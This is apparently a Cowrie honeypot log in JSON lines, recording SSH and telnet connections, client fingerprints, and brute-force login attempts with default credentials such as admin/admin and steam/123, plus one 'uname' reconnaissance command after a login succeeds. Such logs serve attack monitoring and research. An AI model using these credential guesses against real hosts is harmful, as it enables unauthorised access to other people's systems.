{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:58.844611Z","src_ip":"103.75.199.4","session":"8eab9637052c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:59.117853Z","src_ip":"103.75.199.4","session":"8eab9637052c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47538,"dst_ip":"159.203.135.109","dst_port":22,"session":"93a743e04a06","protocol":"ssh","message":"New connection: 45.153.34.114:47538 (159.203.135.109:22) [session: 93a743e04a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:00.055976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:00.060648Z","src_ip":"45.153.34.114","session":"93a743e04a06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:00.147836Z","src_ip":"45.153.34.114","session":"93a743e04a06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:00.211621Z","src_ip":"103.75.199.4","session":"8eab9637052c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:00.531971Z","src_ip":"45.153.34.114","session":"93a743e04a06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:01.624466Z","src_ip":"45.153.34.114","session":"93a743e04a06","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:04.987354Z","src_ip":"159.75.208.248","session":"8966f70c1dd1","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:05.040645Z","src_ip":"159.75.208.248","session":"8966f70c1dd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47554,"dst_ip":"159.203.135.109","dst_port":22,"session":"453d225562de","protocol":"ssh","message":"New connection: 45.153.34.114:47554 (159.203.135.109:22) [session: 453d225562de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:08.675634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:08.681113Z","src_ip":"45.153.34.114","session":"453d225562de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:08.769917Z","src_ip":"45.153.34.114","session":"453d225562de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:09.029560Z","src_ip":"45.153.34.114","session":"453d225562de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:10.116482Z","src_ip":"45.153.34.114","session":"453d225562de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45580,"dst_ip":"159.203.135.109","dst_port":22,"session":"e68828e15af1","protocol":"ssh","message":"New connection: 45.153.34.114:45580 (159.203.135.109:22) [session: e68828e15af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:17.030846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:17.035055Z","src_ip":"45.153.34.114","session":"e68828e15af1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:17.123997Z","src_ip":"45.153.34.114","session":"e68828e15af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:17.384782Z","src_ip":"45.153.34.114","session":"e68828e15af1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:18.508126Z","src_ip":"45.153.34.114","session":"e68828e15af1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55696,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c6e520e75eb","protocol":"ssh","message":"New connection: 103.75.199.4:55696 (159.203.135.109:22) [session: 4c6e520e75eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:20.626097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:20.630527Z","src_ip":"103.75.199.4","session":"4c6e520e75eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:20.721033Z","src_ip":"103.75.199.4","session":"4c6e520e75eb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:20.992991Z","src_ip":"103.75.199.4","session":"4c6e520e75eb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:21.220116Z","src_ip":"103.75.199.4","session":"4c6e520e75eb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:21.224590Z","src_ip":"103.75.199.4","session":"4c6e520e75eb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:21.318829Z","src_ip":"103.75.199.4","session":"4c6e520e75eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:21.323366Z","src_ip":"103.75.199.4","session":"4c6e520e75eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.135.73.205","src_port":48728,"dst_ip":"10.17.0.5","dst_port":22,"session":"84eeabb26aab","protocol":"ssh","message":"New connection: 88.135.73.205:48728 (10.17.0.5:22) [session: 84eeabb26aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.132083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.136020Z","src_ip":"88.135.73.205","session":"84eeabb26aab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.161435Z","src_ip":"88.135.73.205","session":"84eeabb26aab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:cf:a9:2f:f7:88:8b:b6:99:23:20:ca:ce:60:0c:7f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIz398ot0/Had/meigeNTBViJFgs9BFqlcsZThFfB9rP","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a3:cf:a9:2f:f7:88:8b:b6:99:23:20:ca:ce:60:0c:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.274988Z","src_ip":"88.135.73.205","session":"84eeabb26aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:cf:a9:2f:f7:88:8b:b6:99:23:20:ca:ce:60:0c:7f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIz398ot0/Had/meigeNTBViJFgs9BFqlcsZThFfB9rP","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.278536Z","src_ip":"88.135.73.205","session":"84eeabb26aab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:5c:e0:a0:3a:80:55:9d:7b:cc:05:8b:fe:fc:2e:d3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJiW390A30F/npkO1yF4FbJN/ZO15LyhkEdGNtxH7izF","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint bf:5c:e0:a0:3a:80:55:9d:7b:cc:05:8b:fe:fc:2e:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.305422Z","src_ip":"88.135.73.205","session":"84eeabb26aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:5c:e0:a0:3a:80:55:9d:7b:cc:05:8b:fe:fc:2e:d3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJiW390A30F/npkO1yF4FbJN/ZO15LyhkEdGNtxH7izF","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.383642Z","src_ip":"88.135.73.205","session":"84eeabb26aab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:6f:ae:3e:ea:23:5d:43:04:03:55:c8:de:84:84:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC44g3PoS/j/vX7rAEDYnd+Z0efIT3LhWsruMY9mWRr1tk9cbCpG1aGaAC8kc4pU3QFw0HJTqy3mlZUJFGWn4g7dpfu+eUNaILfZu6QFyruk2HIlqKYpmQUel8EGgZRAvfL5Akum4YCAliuxkN9qjNrEVafYHBjJdfZ852TjLzVIgehtdWO18KS4qUrSp2rICokAlPAeUmEjiGD67QmTOZi6lwKBbF3u/xzT3/j1K13BTyy7kbsaf9IJD50OUaidKrt9yKLmBspkaRUZH26aKf1TKS7wPn8AGokdwGE6Bu5vFQCP/DUvK65dLpPpWiri0uKzuMg4Wbdk2lvqn4EMZl1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:6f:ae:3e:ea:23:5d:43:04:03:55:c8:de:84:84:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.411283Z","src_ip":"88.135.73.205","session":"84eeabb26aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:6f:ae:3e:ea:23:5d:43:04:03:55:c8:de:84:84:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC44g3PoS/j/vX7rAEDYnd+Z0efIT3LhWsruMY9mWRr1tk9cbCpG1aGaAC8kc4pU3QFw0HJTqy3mlZUJFGWn4g7dpfu+eUNaILfZu6QFyruk2HIlqKYpmQUel8EGgZRAvfL5Akum4YCAliuxkN9qjNrEVafYHBjJdfZ852TjLzVIgehtdWO18KS4qUrSp2rICokAlPAeUmEjiGD67QmTOZi6lwKBbF3u/xzT3/j1K13BTyy7kbsaf9IJD50OUaidKrt9yKLmBspkaRUZH26aKf1TKS7wPn8AGokdwGE6Bu5vFQCP/DUvK65dLpPpWiri0uKzuMg4Wbdk2lvqn4EMZl1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.414438Z","src_ip":"88.135.73.205","session":"84eeabb26aab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:58:e3:c7:05:7b:c7:e1:9f:a1:24:36:e6:0d:7b:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbFBMjIj/qh8qk7f0iso+2JDyMyCbK9GPHShisHO5Xq2UnLHJMCZf8bIw7AcIWhP2lxA96l+HQzMHGnxRwrpufa1OogyPj6ZLf3nbCnxaB0WwDToDK8JQ2wIPe5a9FYMPdS9quB0jDWd6FeHByYneXjUsyMQrDoznG/hE6W+UA5Wm4V+vPEuG6a7KNqeG/CA7BnBO6TZ6WC1AYivXiNWD/C5V739f1pJnzm8eItqeNuyjoqrRBsm1YENTlYLI3fLtwzRZlx8hOzqxPqyyBQiwSxbv4HhT0+nsN1azrmeGT8WOKNtzuLLJyyjaOUlB8Bk6rNuJfiFfTpbPN/Q9McWF7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:58:e3:c7:05:7b:c7:e1:9f:a1:24:36:e6:0d:7b:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.442194Z","src_ip":"88.135.73.205","session":"84eeabb26aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:58:e3:c7:05:7b:c7:e1:9f:a1:24:36:e6:0d:7b:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbFBMjIj/qh8qk7f0iso+2JDyMyCbK9GPHShisHO5Xq2UnLHJMCZf8bIw7AcIWhP2lxA96l+HQzMHGnxRwrpufa1OogyPj6ZLf3nbCnxaB0WwDToDK8JQ2wIPe5a9FYMPdS9quB0jDWd6FeHByYneXjUsyMQrDoznG/hE6W+UA5Wm4V+vPEuG6a7KNqeG/CA7BnBO6TZ6WC1AYivXiNWD/C5V739f1pJnzm8eItqeNuyjoqrRBsm1YENTlYLI3fLtwzRZlx8hOzqxPqyyBQiwSxbv4HhT0+nsN1azrmeGT8WOKNtzuLLJyyjaOUlB8Bk6rNuJfiFfTpbPN/Q9McWF7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.445985Z","src_ip":"88.135.73.205","session":"84eeabb26aab","protocol":"ssh"}
